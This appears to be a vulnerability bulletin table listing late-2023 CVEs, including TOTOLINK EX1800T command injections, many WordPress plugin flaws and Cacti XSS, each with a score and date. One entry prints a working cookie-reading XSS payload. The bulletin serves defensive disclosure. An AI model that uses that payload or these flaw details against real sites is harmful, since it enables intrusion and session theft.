totolink — ex1800t_firmware	TOTOlink EX1800T v9.1.0cu.2112_B20220316 is vulnerable to unauthorized arbitrary command execution in the setRebootScheCfg interface of the cstecgi .cgi.	2023-12-22	9.8	CVE-2023-51016 [email protected]
totolink — ex1800t_firmware	TOTOlink EX1800T v9.1.0cu.2112_B20220316 is vulnerable to unauthorized arbitrary command execution in the lanIp parameter’ of the setLanConfig interface of the cstecgi .cgi.	2023-12-22	9.8	CVE-2023-51017 [email protected]
totolink — ex1800t_firmware	TOTOlink EX1800T v9.1.0cu.2112_B20220316 is vulnerable to unauthorized arbitrary command execution in the ‘opmode’ parameter of the setWiFiApConfig interface of the cstecgi .cgi.	2023-12-22	9.8	CVE-2023-51018 [email protected]
totolink — ex1800t_firmware	TOTOlink EX1800T v9.1.0cu.2112_B20220316 is vulnerable to unauthorized arbitrary command execution in the ‘key5g’ parameter of the setWiFiExtenderConfig interface of the cstecgi .cgi.	2023-12-22	9.8	CVE-2023-51019 [email protected]
totolink — ex1800t_firmware	TOTOlink EX1800T v9.1.0cu.2112_B20220316 is vulnerable to unauthorized arbitrary command execution in the ‘langType’ parameter of the setLanguageCfg interface of the cstecgi .cgi.	2023-12-22	9.8	CVE-2023-51020 [email protected]
totolink — ex1800t_firmware	TOTOlink EX1800T v9.1.0cu.2112_B20220316 is vulnerable to unauthorized arbitrary command execution in the ‘merge’ parameter of the setRptWizardCfg interface of the cstecgi .cgi.	2023-12-22	9.8	CVE-2023-51021 [email protected]
totolink — ex1800t_firmware	TOTOlink EX1800T v9.1.0cu.2112_B20220316 is vulnerable to unauthorized arbitrary command execution in the ‘langFlag’ parameter of the setLanguageCfg interface of the cstecgi .cgi.	2023-12-22	9.8	CVE-2023-51022 [email protected]
totolink — ex1800t_firmware	TOTOlink EX1800T v9.1.0cu.2112_B20220316 is vulnerable to arbitrary command execution in the ‘host_time’ parameter of the NTPSyncWithHost interface of the cstecgi .cgi.	2023-12-22	9.8	CVE-2023-51023 [email protected]
totolink — ex1800t_firmware	TOTOlink EX1800T v9.1.0cu.2112_B20220316 is vulnerable to unauthorized arbitrary command execution in the ‘tz’ parameter of the setNtpCfg interface of the cstecgi .cgi.	2023-12-22	9.8	CVE-2023-51024 [email protected]
totolink — ex1800t_firmware	TOTOlink EX1800T V9.1.0cu.2112_B20220316 is vulnerable to an unauthorized arbitrary command execution in the ‘admuser’ parameter of the setPasswordCfg interface of the cstecgi .cgi.	2023-12-22	9.8	CVE-2023-51025 [email protected]
totolink — ex1800t_firmware	TOTOlink EX1800T V9.1.0cu.2112_B20220316 is vulnerable to unauthorized arbitrary command execution in the ‘hour’ parameter of the setRebootScheCfg interface of the cstecgi .cgi.	2023-12-22	9.8	CVE-2023-51026 [email protected]
totolink — ex1800t_firmware	TOTOlink EX1800T V9.1.0cu.2112_B20220316 is vulnerable to unauthorized arbitrary command execution in the ‘apcliAuthMode’ parameter of the setWiFiExtenderConfig interface of the cstecgi .cgi.	2023-12-22	9.8	CVE-2023-51027 [email protected]
totolink — ex1800t_firmware	TOTOLINK EX1800T 9.1.0cu.2112_B20220316 is vulnerable to unauthorized arbitrary command execution in the apcliChannel parameter of the setWiFiExtenderConfig interface of the cstecgi.cgi.	2023-12-22	9.8	CVE-2023-51028 [email protected]
wasmer — wasmer	Wasmer is a WebAssembly runtime that enables containers to run anywhere: from Desktop to the Cloud, Edge and even the browser. Wasm programs can access the filesystem outside of the sandbox. Service providers running untrusted Wasm code on Wasmer can unexpectedly expose the host filesystem. This vulnerability has been patched in version 4.2.4.	2023-12-22	8.4	CVE-2023-51661 [email protected] [email protected] [email protected]
ween_software — admin_panel	Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in Ween Software Admin Panel allows SQL Injection. This issue affects Admin Panel: through 20231229. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2023-12-29	9.8	CVE-2023-4541 [email protected]
wordpress — wordpress	Improper Control of Generation of Code (‘Code Injection’) vulnerability in David F. Carr RSVPMaker. This issue affects RSVPMaker: from n/a through 10.6.6.	2023-12-29	10	CVE-2023-25054 [email protected]
wordpress — wordpress	Unrestricted Upload of File with Dangerous Type vulnerability in Shabti Kaplan Frontend Admin by DynamiApps. This issue affects Frontend Admin by DynamiApps: from n/a through 3.18.3.	2023-12-29	10	CVE-2023-51411 [email protected]
wordpress — wordpress	Unrestricted Upload of File with Dangerous Type vulnerability in Bertha.Ai BERTHA AI. Your AI co-pilot for WordPress and Chrome. This issue affects BERTHA AI. Your AI co-pilot for WordPress and Chrome: from n/a through 1.11.10.7.	2023-12-29	10	CVE-2023-51419 [email protected]
wordpress — wordpress	Unrestricted Upload of File with Dangerous Type vulnerability in Jacques Malgrange Rencontre – Dating Site. This issue affects Rencontre – Dating Site: from n/a through 3.10.1.	2023-12-29	10	CVE-2023-51468 [email protected]
wordpress — wordpress	Unrestricted Upload of File with Dangerous Type vulnerability in Pixelemu TerraClassifieds – Simple Classifieds Plugin. This issue affects TerraClassifieds – Simple Classifieds Plugin: from n/a through 2.0.3.	2023-12-29	10	CVE-2023-51473 [email protected]
wordpress — wordpress	Unrestricted Upload of File with Dangerous Type vulnerability in IOSS WP MLM SOFTWARE PLUGIN. This issue affects WP MLM SOFTWARE PLUGIN: from n/a through 4.0.	2023-12-29	10	CVE-2023-51475 [email protected]
wordpress — wordpress	Deserialization of Untrusted Data vulnerability in realmag777 Active Products Tables for WooCommerce. Professional products tables for WooCommerce store. This issue affects Active Products Tables for WooCommerce. Professional products tables for WooCommerce store: from n/a through 1.0.6.	2023-12-29	10	CVE-2023-51505 [email protected]
wordpress — wordpress	Improper Control of Generation of Code (‘Code Injection’) vulnerability in Milan Dini? Rename Media Files. This issue affects Rename Media Files: from n/a through 1.0.1.	2023-12-29	9.9	CVE-2023-32095 [email protected]
wordpress — wordpress	Improper Control of Generation of Code (‘Code Injection’) vulnerability in Kanban for WordPress Kanban Boards for WordPress. This issue affects Kanban Boards for WordPress: from n/a through 2.5.21.	2023-12-29	9.1	CVE-2023-40606 [email protected]
wordpress — wordpress	Improper Control of Generation of Code (‘Code Injection’) vulnerability in POSIMYTH Nexter Extension. This issue affects Nexter Extension: from n/a through 2.0.3.	2023-12-29	9.1	CVE-2023-45751 [email protected]
wordpress — wordpress	Improper Control of Generation of Code (‘Code Injection’) vulnerability in TienCOP WP EXtra. This issue affects WP EXtra: from n/a through 6.2.	2023-12-29	9.9	CVE-2023-46623 [email protected]
wordpress — wordpress	Improper Control of Generation of Code (‘Code Injection’) vulnerability in Qode Interactive Qode Essential Addons. This issue affects Qode Essential Addons: from n/a through 1.5.2.	2023-12-29	9.9	CVE-2023-47840 [email protected]
wordpress — wordpress	Improper Control of Generation of Code (‘Code Injection’) vulnerability in Brainstorm Force Astra Pro. This issue affects Astra Pro: from n/a through 4.3.1.	2023-12-29	9.9	CVE-2023-49830 [email protected]
wordpress — wordpress	Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in JS Help Desk JS Help Desk – Best Help Desk & Support Plugin. This issue affects JS Help Desk – Best Help Desk & Support Plugin: from n/a through 2.8.1.	2023-12-28	9.3	CVE-2023-50839 [email protected]
wordpress — wordpress	Unrestricted Upload of File with Dangerous Type vulnerability in WPVibes WP Mail Log. This issue affects WP Mail Log: from n/a through 1.1.2.	2023-12-29	9.9	CVE-2023-51410 [email protected]
wordpress — wordpress	Unrestricted Upload of File with Dangerous Type vulnerability in Piotnet Piotnet Forms. This issue affects Piotnet Forms: from n/a through 1.0.25.	2023-12-29	9	CVE-2023-51412 [email protected]
wordpress — wordpress	Deserialization of Untrusted Data vulnerability in EnvialoSimple EnvíaloSimple: Email Marketing y Newsletters. This issue affects EnvíaloSimple: Email Marketing y Newsletters: from n/a through 2.1.	2023-12-29	9.6	CVE-2023-51414 [email protected]
wordpress — wordpress	Unrestricted Upload of File with Dangerous Type vulnerability in Joris van Montfort JVM Gutenberg Rich Text Icons. This issue affects JVM Gutenberg Rich Text Icons: from n/a through 1.2.3.	2023-12-29	9.9	CVE-2023-51417 [email protected]
wordpress — wordpress	Improper Control of Generation of Code (‘Code Injection’) vulnerability in Soft8Soft LLC Verge3D Publishing and E-Commerce. This issue affects Verge3D Publishing and E-Commerce: from n/a through 4.5.2.	2023-12-29	9.1	CVE-2023-51420 [email protected]
wordpress — wordpress	Unrestricted Upload of File with Dangerous Type vulnerability in Soft8Soft LLC Verge3D Publishing and E-Commerce. This issue affects Verge3D Publishing and E-Commerce: from n/a through 4.5.2.	2023-12-29	9.9	CVE-2023-51421 [email protected]
wordpress — wordpress	Deserialization of Untrusted Data vulnerability in Saleswonder Team Webinar Plugin: Create live/evergreen/automated/instant webinars, stream & Zoom Meetings \| WebinarIgnition. This issue affects Webinar Plugin: Create live/evergreen/automated/instant webinars, stream & Zoom Meetings \| WebinarIgnition: from n/a through 3.05.0.	2023-12-29	9.9	CVE-2023-51422 [email protected]
wordpress — wordpress	Deserialization of Untrusted Data vulnerability in Jacques Malgrange Rencontre – Dating Site. This issue affects Rencontre – Dating Site: from n/a through 3.11.1.	2023-12-29	9.9	CVE-2023-51470 [email protected]
wordpress — wordpress	Cross-Site Request Forgery (CSRF), Deserialization of Untrusted Data vulnerability in ThemeHigh Job Manager & Career – Manage job board listings, and recruitments. This issue affects Job Manager & Career – Manage job board listings, and recruitments: from n/a through 1.4.4.	2023-12-29	9.6	CVE-2023-51545 [email protected]
wordpress — wordpress	The Backup Migration plugin for WordPress is vulnerable to Remote File Inclusion in versions 1.0.8 to 1.3.9 via the ‘content-dir’ HTTP header. This makes it possible for unauthenticated attackers to include remote files on the server, resulting in code execution. NOTE: Successful exploitation of this vulnerability requires that the target server’s php.ini is configured with ‘allow_url_include’ set to ‘on’. This feature is deprecated as of PHP 7.4 and is disabled by default, but can still be explicitly enabled in later versions of PHP.	2023-12-23	9.8	CVE-2023-6971 [email protected] [email protected] [email protected]
wordpress — wordpress	The Backup Migration plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 1.3.9 via the ‘content-backups’ and ‘content-name’, ‘content-manifest’, or ‘content-bmitmp’ and ‘content-identy’ HTTP headers. This makes it possible for unauthenticated attackers to delete arbitrary files, including the wp-config.php file, which can make site takeover and remote code execution possible.	2023-12-23	9.8	CVE-2023-6972 [email protected] [email protected] [email protected] [email protected]
wordpress — wordpress	Exposure of Sensitive Information to an Unauthorized Actor vulnerability in miniOrange miniOrange’s Google Authenticator – WordPress Two Factor Authentication – 2FA, Two Factor, OTP SMS and Email \| Passwordless login. This issue affects miniOrange’s Google Authenticator – WordPress Two Factor Authentication – 2FA, Two Factor, OTP SMS and Email \| Passwordless login: from n/a through 5.6.1.	2023-12-29	8.1	CVE-2022-44589 [email protected]
wordpress — wordpress	Improper Control of Generation of Code (‘Code Injection’) vulnerability in BinaryStash WP Booklet. This issue affects WP Booklet: from n/a through 2.1.8.	2023-12-29	8.5	CVE-2023-22677 [email protected]
wordpress — wordpress	Deserialization of Untrusted Data vulnerability in WooCommerce Product Add-Ons. This issue affects Product Add-Ons: from n/a through 6.1.3.	2023-12-28	8.2	CVE-2023-32795 [email protected]
wordpress — wordpress	Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in wpdevelop, oplugins Booking Manager. This issue affects Booking Manager: from n/a through 2.1.5.	2023-12-28	8.5	CVE-2023-50840 [email protected]
wordpress — wordpress	Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in Repute Infosystems BookingPress – Appointment Booking Calendar Plugin and Online Scheduling Plugin. This issue affects BookingPress – Appointment Booking Calendar Plugin and Online Scheduling Plugin: from n/a through 1.0.72.	2023-12-28	8.5	CVE-2023-50841 [email protected]
wordpress — wordpress	Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in Matthew Fries MF Gig Calendar. This issue affects MF Gig Calendar: from n/a through 1.2.1.	2023-12-28	8.5	CVE-2023-50842 [email protected]
wordpress — wordpress	Deserialization of Untrusted Data vulnerability in GiveWP GiveWP – Donation Plugin and Fundraising Platform. This issue affects GiveWP – Donation Plugin and Fundraising Platform: from n/a through 2.25.3.	2023-12-28	7.5	CVE-2023-32513 [email protected]
wordpress — wordpress	Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in WebFactory Ltd Login Lockdown – Protect Login Form. This issue affects Login Lockdown – Protect Login Form: from n/a through 2.06.	2023-12-29	7.6	CVE-2023-50837 [email protected]
wordpress — wordpress	Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in Basix NEX-Forms – Ultimate Form Builder – Contact forms and much more. This issue affects NEX-Forms – Ultimate Form Builder – Contact forms and much more: from n/a through 8.5.5.	2023-12-28	7.6	CVE-2023-50838 [email protected]
wordpress — wordpress	Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in Clockwork Clockwork SMS Notifications. This issue affects Clockwork SMS Notifications: from n/a through 3.0.4.	2023-12-28	7.6	CVE-2023-50843 [email protected]
wordpress — wordpress	Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in James Ward Mail logging – WP Mail Catcher. This issue affects Mail logging – WP Mail Catcher: from n/a through 2.1.3.	2023-12-28	7.6	CVE-2023-50844 [email protected]
wordpress — wordpress	Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in AyeCode – WordPress Business Directory Plugins GeoDirectory – WordPress Business Directory Plugin, or Classified Directory. This issue affects GeoDirectory – WordPress Business Directory Plugin, or Classified Directory: from n/a through 2.3.28.	2023-12-28	7.6	CVE-2023-50845 [email protected]
wordpress — wordpress	Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in RegistrationMagic RegistrationMagic – Custom Registration Forms, User Registration, Payment, and User Login. This issue affects RegistrationMagic – Custom Registration Forms, User Registration, Payment, and User Login: from n/a through 5.2.4.5.	2023-12-28	7.6	CVE-2023-50846 [email protected]
wordpress — wordpress	Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in Collne Inc. Welcart e-Commerce. This issue affects Welcart e-Commerce: from n/a through 2.9.3.	2023-12-28	7.6	CVE-2023-50847 [email protected]
wordpress — wordpress	Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in Aaron J 404 Solution. This issue affects 404 Solution: from n/a through 2.34.0.	2023-12-28	7.6	CVE-2023-50848 [email protected]
wordpress — wordpress	Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in E2Pdf.Com E2Pdf – Export To Pdf Tool for WordPress. This issue affects E2Pdf – Export To Pdf Tool for WordPress: from n/a through 1.20.23.	2023-12-28	7.6	CVE-2023-50849 [email protected]
wordpress — wordpress	Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in N Squared Appointment Booking Calendar – Simply Schedule Appointments Booking Plugin. This issue affects Appointment Booking Calendar – Simply Schedule Appointments Booking Plugin: from n/a before 1.6.6.1.	2023-12-28	7.6	CVE-2023-50851 [email protected]
wordpress — wordpress	Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in StylemixThemes Booking Calendar \| Appointment Booking \| BookIt. This issue affects Booking Calendar \| Appointment Booking \| BookIt: from n/a through 2.4.3.	2023-12-28	7.6	CVE-2023-50852 [email protected]
wordpress — wordpress	Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in Nasirahmed Advanced Form Integration – Connect WooCommerce and Contact Form 7 to Google Sheets and other platforms. This issue affects Advanced Form Integration – Connect WooCommerce and Contact Form 7 to Google Sheets and other platforms: from n/a through 1.75.0.	2023-12-28	7.6	CVE-2023-50853 [email protected]
wordpress — wordpress	Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in Squirrly Squirrly SEO – Advanced Pack. This issue affects Squirrly SEO – Advanced Pack: from n/a through 2.3.8.	2023-12-28	7.6	CVE-2023-50854 [email protected]
wordpress — wordpress	Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in Sam Perrow Pre* Party Resource Hints. This issue affects Pre* Party Resource Hints: from n/a through 1.8.18.	2023-12-28	7.6	CVE-2023-50855 [email protected]
wordpress — wordpress	Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in FunnelKit Funnel Builder for WordPress by FunnelKit – Customize WooCommerce Checkout Pages, Create Sales Funnels & Maximize Profits. This issue affects Funnel Builder for WordPress by FunnelKit – Customize WooCommerce Checkout Pages, Create Sales Funnels & Maximize Profits: from n/a through 2.14.3.	2023-12-28	7.6	CVE-2023-50856 [email protected]
wordpress — wordpress	Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in FunnelKit Recover WooCommerce Cart Abandonment, Newsletter, Email Marketing, Marketing Automation By FunnelKit. This issue affects Recover WooCommerce Cart Abandonment, Newsletter, Email Marketing, Marketing Automation By FunnelKit: from n/a through 2.6.1.	2023-12-28	7.6	CVE-2023-50857 [email protected]
wordpress — wordpress	Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in CodexThemes TheGem – Creative Multi-Purpose & WooCommerce WordPress Theme allows Reflected XSS. This issue affects TheGem – Creative Multi-Purpose & WooCommerce WordPress Theme: from n/a through 5.9.1.	2023-12-29	7.1	CVE-2023-50892 [email protected]
wordpress — wordpress	Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in UpSolution Impreza – WordPress Website and WooCommerce Builder allows Reflected XSS. This issue affects Impreza – WordPress Website and WooCommerce Builder: from n/a through 8.17.4.	2023-12-29	7.1	CVE-2023-50893 [email protected]
wordpress — wordpress	Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in HasThemes HT Mega – Absolute Addons For Elementor allows Reflected XSS. This issue affects HT Mega – Absolute Addons For Elementor: from n/a through 2.3.8.	2023-12-29	7.1	CVE-2023-50901 [email protected]
wordpress — wordpress	Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in Ian Kennerley Google Photos Gallery with Shortcodes allows Reflected XSS. This issue affects Google Photos Gallery with Shortcodes: from n/a through 4.0.2.	2023-12-29	7.1	CVE-2023-51373 [email protected]
wordpress — wordpress	Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in Undsgn Uncode – Creative & WooCommerce WordPress Theme allows Reflected XSS. This issue affects Uncode – Creative & WooCommerce WordPress Theme: from n/a through 2.8.6.	2023-12-28	7.1	CVE-2023-51501 [email protected]
wordpress — wordpress	Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in WS Form WS Form LITE – Drag & Drop Contact Form Builder for WordPress. This issue affects WS Form LITE – Drag & Drop Contact Form Builder for WordPress: from n/a through 1.9.170.	2023-12-29	7.6	CVE-2023-52135 [email protected]
wordpress — wordpress	The Backup Migration plugin for WordPress is vulnerable to OS Command Injection in all versions up to, and including, 1.3.9 via the ‘url’ parameter. This vulnerability allows authenticated attackers, with administrator-level permissions and above, to execute arbitrary commands on the host operating system.	2023-12-23	7.2	CVE-2023-7002 [email protected] [email protected] [email protected] [email protected] [email protected] [email protected]
yaztek_software_technologies_and_computer_systems — e-commerce_software	Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in Yaztek Software Technologies and Computer Systems E-Commerce Software allows SQL Injection. This issue affects E-Commerce Software: through 20231229. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2023-12-29	9.8	CVE-2023-4674 [email protected]

Medium Vulnerabilities

Primary Vendor — Product	Description	Published	CVSS Score	Source & Patch Info
advplyr — audiobookshelf	Audiobookshelf is a self-hosted audiobook and podcast server. Prior to 2.7.0, Audiobookshelf is vulnerable to unauthenticated blind server-side request (SSRF) vulnerability in Auth.js. This vulnerability has been addressed in version 2.7.0. There are no known workarounds for this vulnerability.	2023-12-27	4.3	CVE-2023-51665 [email protected] [email protected]
advplyr — audiobookshelf	Audiobookshelf is a self-hosted audiobook and podcast server. Prior to 2.7.0, Audiobookshelf is vulnerable to unauthenticated blind server-side request (SSRF) vulnerability in `podcastUtils.js`. This vulnerability has been addressed in version 2.7.0. There are no known workarounds for this vulnerability.	2023-12-27	4.3	CVE-2023-51697 [email protected] [email protected]
aws — aws-sdk-php	AWS SDK for PHP is the Amazon Web Services software development kit for PHP. Within the scope of requests to S3 object keys and/or prefixes containing a Unix double-dot, a URI path traversal is possible. The issue exists in the `buildEndpoint` method in the RestSerializer component of the AWS SDK for PHP v3 prior to 3.288.1. The `buildEndpoint` method relies on the Guzzle Psr7 UriResolver utility, which strips dot segments from the request path in accordance with RFC 3986. Under certain conditions, this could lead to an arbitrary object being accessed. This issue has been patched in version 3.288.1.	2023-12-22	6	CVE-2023-51651 [email protected] [email protected] [email protected]
cacti — cacti	Cacti is an open source operational monitoring and fault management framework. A reflection cross-site scripting vulnerability was discovered in version 1.2.25. Attackers can exploit this vulnerability to perform actions on behalf of other users. The vulnerability is found in `templates_import.php.` When uploading an xml template file, if the XML file does not pass the check, the server will give a JavaScript pop-up prompt, which contains unfiltered xml template file name, resulting in XSS. An attacker exploiting this vulnerability could execute actions on behalf of other users. This ability to impersonate users could lead to unauthorized changes to settings. As of time of publication, no patched versions are available.	2023-12-22	6.1	CVE-2023-50250 [email protected] [email protected]
cacti — cacti	Reflected Cross Site Scripting (XSS) vulnerability in Cacti v1.2.25, allows remote attackers to escalate privileges when uploading an xml template file via templates_import.php.	2023-12-22	6.1	CVE-2023-50569 [email protected] [email protected]
cacti — cacti	Cacti is a robust performance and fault management framework and a frontend to RRDTool – a Time Series Database (TSDB). Bypassing an earlier fix (CVE-2023-39360) that leads to a DOM XSS attack. Exploitation of the vulnerability is possible for an authorized user. The vulnerable component is the `graphs_new.php`. Impact of the vulnerability – execution of arbitrary javascript code in the attacked user’s browser. This issue has been patched in version 1.2.26.	2023-12-22	5.4	CVE-2023-49086 [email protected]
cacti — cacti	Cacti is an open source operational monitoring and fault management framework. The fix applied for CVE-2023-39515 in version 1.2.25 is incomplete as it enables an adversary to have a victim browser execute malicious code when a victim user hovers their mouse over the malicious data source path in `data_debug.php`. To perform the cross-site scripting attack, the adversary needs to be an authorized cacti user with the following permissions: `General Administration>Sites/Devices/Data`. The victim of this attack could be any account with permissions to view `http://<HOST>/cacti/data_debug.php`. As of time of publication, no complete fix has been included in Cacti.	2023-12-22	4.8	CVE-2023-49088 [email protected] [email protected] [email protected]
campcodes — chic_beauty_salon	A vulnerability classified as critical was found in Campcodes Chic Beauty Salon 20230703. Affected by this vulnerability is an unknown functionality of the file product-list.php of the component Product Handler. The manipulation leads to unrestricted upload. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-249157 was assigned to this vulnerability.	2023-12-29	4.7	CVE-2023-7150 [email protected] [email protected] [email protected] [email protected]
campcodes — online_college_library_system	A vulnerability was found in Campcodes Online College Library System 1.0. It has been rated as critical. Affected by this issue is some unknown functionality of the file /admin/borrow_add.php of the component HTTP POST Request Handler. The manipulation of the argument student leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-249362 is the identifier assigned to this vulnerability.	2023-12-30	4.7	CVE-2023-7175 [email protected] [email protected] [email protected]
campcodes — online_college_library_system	A vulnerability classified as critical has been found in Campcodes Online College Library System 1.0. This affects an unknown part of the file /admin/return_add.php of the component HTTP POST Request Handler. The manipulation of the argument student leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-249363.	2023-12-30	4.7	CVE-2023-7176 [email protected] [email protected] [email protected]
campcodes — online_college_library_system	A vulnerability classified as critical was found in Campcodes Online College Library System 1.0. This vulnerability affects unknown code of the file /admin/book_add.php of the component HTTP POST Request Handler. The manipulation of the argument category leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-249364.	2023-12-30	4.7	CVE-2023-7177 [email protected] [email protected] [email protected]
campcodes — online_college_library_system	A vulnerability, which was classified as critical, has been found in Campcodes Online College Library System 1.0. This issue affects some unknown processing of the file /admin/book_row.php of the component HTTP POST Request Handler. The manipulation of the argument id leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-249365 was assigned to this vulnerability.	2023-12-30	4.7	CVE-2023-7178 [email protected] [email protected] [email protected]
campcodes — online_college_library_system	A vulnerability, which was classified as critical, was found in Campcodes Online College Library System 1.0. Affected is an unknown function of the file /admin/category_row.php of the component HTTP POST Request Handler. The manipulation of the argument id leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-249366 is the identifier assigned to this vulnerability.	2023-12-30	4.7	CVE-2023-7179 [email protected] [email protected] [email protected]
campcodes — online_college_library_system	A vulnerability was found in Muyun DedeBIZ up to 6.2.12 and classified as critical. Affected by this issue is some unknown functionality of the component Add Attachment Handler. The manipulation leads to unrestricted upload. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-249368. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2023-12-30	4.7	CVE-2023-7181 [email protected] [email protected] [email protected]
cloudflare — wrangler	Sending specially crafted HTTP requests and inspector messages to Wrangler’s dev server could result in any file on the user’s computer being accessible over the local network. An attacker that could trick any user on the local network into opening a malicious website could also read any file.	2023-12-29	6.4	CVE-2023-7079 [email protected] [email protected] [email protected]
code-projects — automated_voting_system	A vulnerability classified as critical has been found in code-projects Automated Voting System 1.0. This affects an unknown part of the file /admin/ of the component Admin Login. The manipulation of the argument username leads to sql injection. The exploit has been disclosed to the public and may be used. The identifier VDB-249129 was assigned to this vulnerability.	2023-12-28	6.3	CVE-2023-7126 [email protected] [email protected] [email protected]
code-projects — automated_voting_system	A vulnerability classified as critical was found in code-projects Automated Voting System 1.0. This vulnerability affects unknown code of the component Login. The manipulation of the argument idno leads to sql injection. The exploit has been disclosed to the public and may be used. VDB-249130 is the identifier assigned to this vulnerability.	2023-12-28	6.3	CVE-2023-7127 [email protected] [email protected] [email protected]
code-projects — automated_voting_system	A vulnerability, which was classified as critical, has been found in code-projects Voting System 1.0. This issue affects some unknown processing of the file /admin/ of the component Admin Login. The manipulation of the argument username leads to sql injection. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-249131.	2023-12-28	6.3	CVE-2023-7128 [email protected] [email protected] [email protected]
code-projects — client_details_system	A vulnerability, which was classified as critical, has been found in code-projects Client Details System 1.0. Affected by this issue is some unknown functionality of the component HTTP POST Request Handler. The manipulation of the argument uemail leads to sql injection. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-249140.	2023-12-28	6.3	CVE-2023-7137 [email protected] [email protected] [email protected]
code-projects — client_details_system	A vulnerability, which was classified as critical, was found in code-projects Client Details System 1.0. This affects an unknown part of the file /admin of the component HTTP POST Request Handler. The manipulation of the argument username leads to sql injection. The exploit has been disclosed to the public and may be used. The identifier VDB-249141 was assigned to this vulnerability.	2023-12-28	6.3	CVE-2023-7138 [email protected] [email protected] [email protected]
code-projects — client_details_system	A vulnerability has been found in code-projects Client Details System 1.0 and classified as problematic. This vulnerability affects unknown code of the file /admin/regester.php of the component HTTP POST Request Handler. The manipulation of the argument fname/lname/email/contact leads to sql injection. The exploit has been disclosed to the public and may be used. VDB-249142 is the identifier assigned to this vulnerability.	2023-12-28	4.3	CVE-2023-7139 [email protected] [email protected] [email protected]
code-projects — client_details_system	A vulnerability was found in code-projects Client Details System 1.0 and classified as problematic. This issue affects some unknown processing of the file /admin/manage-users.php. The manipulation of the argument id leads to sql injection. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-249143.	2023-12-28	4.3	CVE-2023-7140 [email protected] [email protected] [email protected]
code-projects — client_details_system	A vulnerability was found in code-projects Client Details System 1.0. It has been classified as problematic. Affected is an unknown function of the file /admin/update-clients.php. The manipulation of the argument uid leads to sql injection. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-249144.	2023-12-29	4.3	CVE-2023-7141 [email protected] [email protected] [email protected]
code-projects — client_details_system	A vulnerability was found in code-projects Client Details System 1.0. It has been declared as problematic. Affected by this vulnerability is an unknown functionality of the file /admin/clientview.php. The manipulation of the argument ID leads to sql injection. The exploit has been disclosed to the public and may be used. The identifier VDB-249145 was assigned to this vulnerability.	2023-12-29	4.3	CVE-2023-7142 [email protected] [email protected] [email protected]
code-projects — e-commerce_site	A vulnerability, which was classified as problematic, was found in code-projects E-Commerce Site 1.0. Affected is an unknown function of the file search.php. The manipulation of the argument keyword with the input <video/src=x onerror=alert(document.cookie)> leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-249096.	2023-12-28	4.3	CVE-2023-7124 [email protected] [email protected] [email protected]
code-projects — faculty_management_system	A vulnerability, which was classified as problematic, has been found in code-projects Faculty Management System 1.0. Affected by this issue is some unknown functionality of the file /admin/pages/yearlevel.php. The manipulation of the argument Year Level/Section leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-248744.	2023-12-22	6.1	CVE-2023-7057 [email protected] [email protected] [email protected]
code-projects — faculty_management_system	A vulnerability classified as problematic was found in code-projects Faculty Management System 1.0. Affected by this vulnerability is an unknown functionality of the file /admin/pages/subjects.php. The manipulation of the argument Description/Units leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-248743.	2023-12-22	5.4	CVE-2023-7056 [email protected] [email protected] [email protected]
